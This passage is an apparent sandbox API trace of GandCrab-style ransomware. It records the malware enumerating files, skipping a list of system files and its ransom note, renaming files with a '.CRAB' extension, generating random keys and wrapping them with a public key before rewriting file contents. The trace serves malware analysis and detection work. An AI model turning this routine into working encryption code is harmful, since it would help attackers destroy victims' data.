	[0112.405] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.405] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.406] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.406] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.406] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.410] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.419] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.419] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.419] CloseHandle (hObject=0x3f8) returned 1
	[0112.420] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.421] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.421] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.421] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.421] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.422] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.422] FindNextFileW (in: hFindFile=0xda74f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.422] lstrcmpW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2=".") returned 1
	[0112.422] lstrcmpW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="..") returned 1
	[0112.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="496f2c5b-a90f-4380-b805-3bf6ac63451b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b"
	[0112.422] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.422] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b") returned 138
	[0112.422] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b") returned 138
	[0112.422] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b") returned 138
	[0112.422] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b") returned 138
	[0112.422] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="desktop.ini") returned -1
	[0112.422] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="autorun.inf") returned -1
	[0112.423] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="ntuser.dat") returned -1
	[0112.423] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="iconcache.db") returned -1
	[0112.423] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="bootsect.bak") returned -1
	[0112.423] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="boot.ini") returned -1
	[0112.423] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="ntuser.dat.log") returned -1
	[0112.423] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="thumbs.db") returned -1
	[0112.423] lstrcmpiW (lpString1="496f2c5b-a90f-4380-b805-3bf6ac63451b", lpString2="CRAB-DECRYPT.txt") returned -1
	[0112.423] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.423] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB") returned 143
	[0112.423] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b")) returned 0x26
	[0112.423] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b", dwFileAttributes=0x26) returned 1
	[0112.424] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.crab")) returned 1
	[0112.425] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.425] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB"
	[0112.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB.CRAB"
	[0112.425] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e7c0) returned 1
	[0112.426] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.426] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.426] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0112.426] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0112.426] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.427] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0112.428] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.428] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.428] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.428] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0112.428] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.428] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.429] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.429] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.429] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0112.430] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda75b0) returned 1
	[0112.430] CryptGetKeyParam (in: hKey=0xda75b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.430] CryptEncrypt (in: hKey=0xda75b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0112.430] GetLastError () returned 0x0
	[0112.430] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.430] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0112.431] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7a30) returned 1
	[0112.431] CryptGetKeyParam (in: hKey=0xda7a30, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.431] CryptEncrypt (in: hKey=0xda7a30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0112.431] GetLastError () returned 0x0
	[0112.431] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.431] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\496f2c5b-a90f-4380-b805-3bf6ac63451b.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.432] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.432] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.432] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x1d4, lpOverlapped=0x0) returned 1
	[0112.444] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.445] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.445] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.445] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.445] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.446] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.446] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.449] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.475] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.476] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.476] CloseHandle (hObject=0x3f8) returned 1
	[0112.477] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.477] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.477] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.477] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.478] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.478] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.478] FindNextFileW (in: hFindFile=0xda74f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.478] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2=".") returned 1
	[0112.478] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="..") returned 1
	[0112.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="5b8a3202-35dc-4437-b5d7-374f5e872415" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415"
	[0112.478] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.479] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138
	[0112.479] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138
	[0112.479] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138
	[0112.479] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="desktop.ini") returned -1
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="autorun.inf") returned -1
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="ntuser.dat") returned -1
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="iconcache.db") returned -1
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="bootsect.bak") returned -1
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="boot.ini") returned -1
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="ntuser.dat.log") returned -1
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="thumbs.db") returned -1
	[0112.479] lstrcmpiW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="CRAB-DECRYPT.txt") returned -1
	[0112.479] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.479] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB") returned 143
	[0112.479] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415")) returned 0x26
	[0112.480] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415", dwFileAttributes=0x26) returned 1
	[0112.480] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.crab")) returned 1
	[0112.481] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.481] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB"
	[0112.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB.CRAB"
	[0112.481] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0112.482] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.482] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.483] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.483] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0112.483] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.483] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.483] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e5a0) returned 1
	[0112.483] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.484] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.484] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.484] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0112.484] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0112.484] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.484] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.485] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.485] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ec00) returned 1
	[0112.485] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda77b0) returned 1
	[0112.486] CryptGetKeyParam (in: hKey=0xda77b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.486] CryptEncrypt (in: hKey=0xda77b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0112.486] GetLastError () returned 0x0
	[0112.486] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0112.486] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e9e0) returned 1
	[0112.487] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda75f0) returned 1
	[0112.487] CryptGetKeyParam (in: hKey=0xda75f0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.487] CryptEncrypt (in: hKey=0xda75f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0112.487] GetLastError () returned 0x0
	[0112.487] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.487] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.488] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.488] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.488] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x1d4, lpOverlapped=0x0) returned 1
	[0112.500] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.501] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
